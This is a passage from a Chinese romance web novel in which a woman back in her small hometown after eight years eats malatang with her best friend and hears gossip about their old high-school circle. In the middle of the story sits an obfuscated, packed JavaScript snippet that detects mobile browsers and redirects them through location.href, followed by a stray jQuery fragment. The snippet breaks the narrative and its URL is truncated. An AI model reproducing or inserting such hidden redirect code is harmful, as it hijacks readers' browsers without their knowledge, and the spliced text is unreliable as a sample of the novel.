晚上八点,大润发。
祈愿羊绒围巾包着脸,在挑酸奶。
回老家快一周,仍然适应不了这不南不北的寒冷。
超市暖气足,冰柜前较冷。
买酸奶,先看蛋白质含量高的,再选只有生牛乳成分。
小县城不比大城市,选择不多。
很快,拿起一板,放推车。
“……祈愿?”有女人突然叫她。
祈愿包的只剩鼻梁以上,原本就是不想遇到熟人,八年没回来,寒暄简直要了她命……
她正在整理推车里的商品,闻声,抬眸。
“你认错人了。”她身旁男人急性子,将女人和推车一起拉走。
女人不住回头。
祈愿露着眼睛和对方对视。
女人忽然目光一跳,回首跟男人紧张耳语。
祈愿推车往蔬菜区。
留给男人一个侧影。
她在开着暖气的超市穿很厚,身材看不出曲线,乍一眼望,和超市抢打折菜的家庭主妇没区别。
男人皱眉,“说你看错还不信,祈愿会买打折菜?”
女人反驳:“打折菜也是菜。”
“走吧!”男人拉未婚妻,边拿手机发语音,“我老婆是不是孕傻?跟我说看见祈愿了!”
……
“祈愿!”第二天晚上七点,周弋楠兴奋摇手。
祈愿仍然穿长羽绒服,戴围巾口罩羽绒服帽子,开车来的,手上还套羊毛手套。
车子停在店对面。
祈愿下车走过来的几步,感觉脸被刮得不行,讲话都哆嗦,“……你不冷?”
周弋楠驼色羊绒大衣,小皮靴,肩上挂一小包,化着精致妆容,不知道的还以为参加婚礼……
而不是吃麻辣烫。
“你穿的恶不恶心!”周弋楠笑,一把挽住她臂。
“冷。”祈愿感觉自己牙关都打颤。
湾县在中国南北分界线上。
供暖是没有的,寒冷跟北方有一拼,还多一个湿。
每次晚上出门都得鼓足勇气。
昨晚姑妈安排她买打折菜,被迫出门。
今晚好闺蜜约麻辣烫,敢拒绝的话,估计立刻收绝交声明。
店里大又旧。
高中那会儿,不像现在,各种吃喝店。
学生们最大爱好就是吃麻辣烫。
别看县城主街不大,但各种“老奶奶”“小静”“小琴”……
那会儿还没有杨国福这种连锁,都家庭作坊。
八年。
县城变了。
品牌店布满各处。
尤其这条街,美食一条龙。
点好菜,两人在店中间位置的桌子坐下来。
祈愿撤下围巾,背对着大街,身后玻璃门高大透明。
灯光白亮,在旧旧的店里又显暗沉清冷。
发黄的柜式空调在门口玻璃门那儿站着。
暖气足。
香味浓。
祈愿解下“防卫”,长羽绒挂去身侧椅背,身体终于解放。
“八年不回老家,你染毒瘾在外头被抓了?”麻辣烫上来,热气扑面,周弋楠抱怨。
祈愿点的素菜多。
她从高中就不爱吃荤,每次香菜空心菜都点两份,现在爱上了鞭炮笋。
湾县的麻辣烫和外面不一样,又红又白,红的是辣油,白的是不要钱一样放的白芝麻。
第一筷子搅拌下去,料头与汤汁食物混合,香到人麻。
再勾第二筷子进嘴,舌尖都香掉。
更遑论咀嚼进腹,这个可贵而迷人的动作。
“和记忆中还一样吗?”周弋楠看她吃的那样子,话都没法说,就想笑,又骂,“活该,谁让你不回来!”
祈愿不管三七二十一先填了个肚子小饱,再回,“忙。”
这等于没回。
谁不忙啊?
高中毕业分开,大学忙四年,走入社会继续忙。
人的一辈子都是忙忙碌碌。
“真想回,分分钟打个飞的坐个高铁,不晓得还以为你去电诈园了。”
祈愿笑,“你到底希望我犯毒瘾被关,还是失陷东南亚?”
“说到这个,最近听到一个事儿,”周弋楠放下筷子,隔着热气,神秘凑过来,“咱们高中校友,十一班的韩廷在缅甸被割头了……”
……过于血腥。
祈愿愣住。
十一班的,这个人她有印象。
个子不高,人很干净,活泼。
最喜欢和那帮人在一起……
“印城,当警察了,”周弋楠一笔带过这个名字,说后面,“听说从省厅调来咱们市,就为了电诈案,带队去那边,把韩廷骨灰带回来了,他父母以为韩廷一辈子都回不来了,当初那边要赎金的时候,韩家人凑不出,那边就拍了韩廷被那啥的血腥视频给他们,整个传的沸沸扬扬,我拒绝看那种东西……”
“吃不下了。”祈愿放下筷子。
毕竟是校友。
当年韩廷总跟那帮人玩,那帮人又跟祈愿特别好。
一起喝奶茶,侃大山,晚自习逃出去夜骑。
这家麻辣烫店,也一起聚过。
“我们跟他不算熟,他跟印城熟。”周弋楠再次脱口而出印城的名字,暗暗一恼。
抬眼,小心瞧对面。
脱掉厚重束缚的祈愿,长发随意拢在右肩头,另一侧脖颈雪白露出,往上是一张谁看了都会分心的脸。
高中那会儿,她的美貌就出尘,这会儿成熟了,连脸颊都分明起来,褪去青涩软糯,像枝头微带最后一点酸的饱满果子。
正是好时候。
胃口跟以往一样小,吃东西总得浪费点。
高中时,印城总豪爽地帮她解决残余。
八年。
这个名字倒不可说了。
“咱小地方,说来说去都是那些人。”周弋楠故作轻松地替自己续上话。
祈愿笑。
她两个,亲闺蜜,虽然八年没见面,但天天网络聊。
她知道周弋楠在回避什么。
没接茬。
周弋楠话匣子打开收不住,“这些年除了你,咱们那届里回乡率蛮高,宋妍妍记得吗?”
“记得。”
昨晚还在大润发遇上。
“她要结婚了,男的你认识,以前关系特好。”
祈愿不是跟那男的关系好,是跟印城关系好。
那男的是印城的兄弟帮成员之一。
昨晚相遇不相识,大概祈愿包的太紧。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109690|195839||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宋妍妍居然认出她。
“那天在河边散步偶遇他俩,我感觉宋妍妍是怀孕了,两人奉子成婚。”
“怎么看出来的?”祈愿讶异,美眸睁大,显得单纯而风情。
周弋楠一边吃麻辣烫里肉,一边毫无形象喊,“你傻呀,宋妍妍底下乡镇家庭出来的,父母大字不识,沈阳北家开律所,妈妈在百度百科可查,这样的家庭会娶她?”
“我说,怎么看出来怀孕。”
“她走路不自觉挺肚,我嫂子怀孕就这样。”
“……”祈愿认真回想昨晚在大润发的偶遇,宋妍妍包裹的不比她差,长羽绒服,雪地靴,走路确实有挺肚,沈阳北还扶着她腰。
这就是怀孕?
她细眉微挑,没说话。
周弋楠永远不会冷场,且影响不了吃。
她一个人点三十七块钱麻辣烫,荤占大半,不会亏着自己。
祈愿几乎只吃素,说是八年没回来,得好好吃够家乡美食,然而,也只点了十七块钱,这会儿,筷子放下了,还剩着不少。
搁以前,根本不用多余再给她烧一份,直接混在印城的砂锅里,她停筷了,印城一个一米八五的高中男生还能吃个饱。
“当年,她什么都跟风你,你用什么笔她用什么笔,你穿啥鞋,她立马找去市场买一样的,最搞笑,你跟那帮人玩她也凑上前,蹭了印城多少顿奶茶,我都不好意思数,不是那年她跟沈阳北走到一起,我还当她是想跟我们俩处朋友,结果是为了讨好印城,印城不理她,沈阳北就成了她下家,沈阳北也是荤素不忌,追过自己好哥们的女人也处,真服了。”
祈愿静静听着,笑。
周弋楠恨不得把八年该讲的八卦全倒出来。
“他们那帮人,幸好你高中毕业就没跟他们处,这帮人全回来了,咱们湾县真是鬼才辈出,我天天听这些人的八卦,什么某a和某b谈过,某b又和某c谈,某c分了又跑去跟某d,然后发现某d跟ac都谈过,完了这帮人还能若无其事凑一桌打麻将,你说疯不疯狂,乱不乱?”
祈愿被这段绕口令似的abcd给逗乐。
笑得胸膛不住起伏。
那帮人一开始全是男人。
印城家最有实力,出手阔绰,性情又不拘小节,长相更不用提,高中那会儿是学校断层的校草,二三名跟他差着天壤之别的距离。
人以群分,他身边迅速集结一群相貌不错,家世可以的男孩。
浩浩荡荡,在学校很快出名,很多学生都以认识他们这群人中的一位感到自豪。
学生时代,大多数人追逐炫酷,学习是炫酷以外的事情。
宋妍妍是唯一一个学习仅次于祈愿的三好学生。
除了周弋楠,跟祈愿是闺蜜,才跟他们玩儿,剩下的女孩子都是主动集结过来。
玩久了,就成圈子。
毕业八年,圈子还在。
估计得在一辈子。
祈愿很久没接触过这些人,有些相貌都记不起,多亏周弋楠用abcd代称,不然,她光想名字都得想半天。
“不过,印城……”周弋楠忽然话音一变,几乎带着叹息。
祈愿正在搅动酒酿,手微顿。
“一场恋爱没谈过。”
祈愿没应声,重新搅拌酒酿。